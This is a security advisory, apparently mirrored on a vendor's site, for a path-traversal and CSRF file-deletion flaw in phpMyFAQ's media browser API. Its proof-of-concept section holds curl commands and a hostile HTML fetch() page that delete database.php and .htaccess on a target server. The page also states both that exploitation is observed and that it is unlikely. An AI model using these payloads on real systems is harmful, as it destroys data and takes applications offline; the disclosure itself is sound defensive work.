Know every vulnerabilitybefore it knows you.
DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.
GHSA-38m8-xrfj-v38x
No affected components available
Summary
The MediaBrowserController::index() method handles file deletion for the media browser. When the fileRemove action is triggered, the user-supplied name parameter is concatenated with the base upload directory path without any path traversal validation. The FILTER_SANITIZE_SPECIAL_CHARS filter only encodes HTML special characters (&, ', ", <, >) and characters with ASCII value < 32, and does not prevent directory traversal sequences like ../. Additionally, the endpoint does not validate CSRF tokens, making it exploitable via CSRF attacks.
Details
Affected File: phpmyfaq/src/phpMyFAQ/Controller/Administration/Api/MediaBrowserController.php
Lines 43-66:
#[Route(path: 'media-browser', name: 'admin.api.media.browser', methods: ['GET'])]
public function index(Request $request): JsonResponse|Response
{
$this->userHasPermission(PermissionType::FAQ_EDIT);
// ...
$data = json_decode($request->getContent());
$action = Filter::filterVar($data->action, FILTER_SANITIZE_SPECIAL_CHARS);
if ($action === 'fileRemove') {
$file = Filter::filterVar($data->name, FILTER_SANITIZE_SPECIAL_CHARS);
$file = PMF_CONTENT_DIR . '/user/images/' . $file;
if (file_exists($file)) {
unlink($file);
}
// Returns success without checking if deletion was within intended directory
}
}
Root Causes:
- No path traversal prevention:
FILTER_SANITIZE_SPECIAL_CHARSdoes not remove or encode../sequences. It only encodes HTML special characters. - No CSRF protection: The endpoint does not call
Token::verifyToken(). Compare withImageController::upload()which validates CSRF tokens at line 48. - No basename() or realpath() validation: The code does not use
basename()to strip directory components orrealpath()to verify the resolved path stays within the intended directory. - HTTP method mismatch: The route is defined as
methods: ['GET']but reads the request body via$request->getContent(). This bypasses typical GET-only CSRF protections that rely on same-origin checks for GET requests.
Comparison with secure implementation in the same codebase:
The ImageController::upload() method (same directory) properly validates file names:
if (preg_match("/([^\w\s\d\-_~,;:\[\]\(\).])|([\.]{2,})/", (string) $file->getClientOriginalName())) {
// Rejects files with path traversal sequences
}
The FilesystemStorage::normalizePath() method also properly validates paths:
foreach ($segments as $segment) {
if ($segment === '..' || $segment === '') {
throw new StorageException('Invalid storage path.');
}
}
PoC
Direct exploitation (requires authenticated admin session):
# Delete the database configuration file
curl -X GET 'https://target.example.com/admin/api/media-browser' \
-H 'Content-Type: application/json' \
-H 'Cookie: PHPSESSID=valid_admin_session' \
-d '{"action":"fileRemove","name":"../../../content/core/config/database.php"}'
# Delete the .htaccess file to disable Apache security rules
curl -X GET 'https://target.example.com/admin/api/media-browser' \
-H 'Content-Type: application/json' \
-H 'Cookie: PHPSESSID=valid_admin_session' \
-d '{"action":"fileRemove","name":"../../../.htaccess"}'
CSRF exploitation (attacker hosts this HTML page):
<html>
<body>
<script>
fetch('https://target.example.com/admin/api/media-browser', {
method: 'GET',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({
action: 'fileRemove',
name: '../../../content/core/config/database.php'
}),
credentials: 'include'
});
</script>
</body>
</html>
When an authenticated admin visits the attacker's page, the database configuration file (database.php) is deleted, effectively taking down the application.
Impact
- Server compromise: Deleting
content/core/config/database.phpcauses total application failure (database connection loss). - Security bypass: Deleting
.htaccessorweb.configcan expose sensitive directories and files. - Data loss: Arbitrary file deletion on the server filesystem.
- Chained attacks: Deleting log files to cover tracks, or deleting security configuration files to weaken other protections.
Remediation
- Add path traversal validation:
if ($action === 'fileRemove') {
$file = basename(Filter::filterVar($data->name, FILTER_SANITIZE_SPECIAL_CHARS));
$targetPath = realpath(PMF_CONTENT_DIR . '/user/images/' . $file);
$allowedDir = realpath(PMF_CONTENT_DIR . '/user/images');
if ($targetPath === false || !str_starts_with($targetPath, $allowedDir . DIRECTORY_SEPARATOR)) {
return $this->json(['error' => 'Invalid file path'], Response::HTTP_BAD_REQUEST);
}
if (file_exists($targetPath)) {
unlink($targetPath);
}
}
- Add CSRF protection:
if (!Token::getInstance($this->session)->verifyToken('pmf-csrf-token', $request->query->get('csrf'))) {
return $this->json(['error' => 'Invalid CSRF token'], Response::HTTP_UNAUTHORIZED);
}
- Change HTTP method to POST or DELETE to align with proper HTTP semantics.
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker needs basic access or low-level privileges. The attacker needs the user to perform some action, like clicking a link. The vulnerability can affect other systems as well, not just the initial system. There is a high impact on the integrity of the data. There is a high impact on the availability of the system.
Exploitation activity has been observed. Apply available patches or mitigations urgently.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
Browse More
Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.
Checkout DevGuard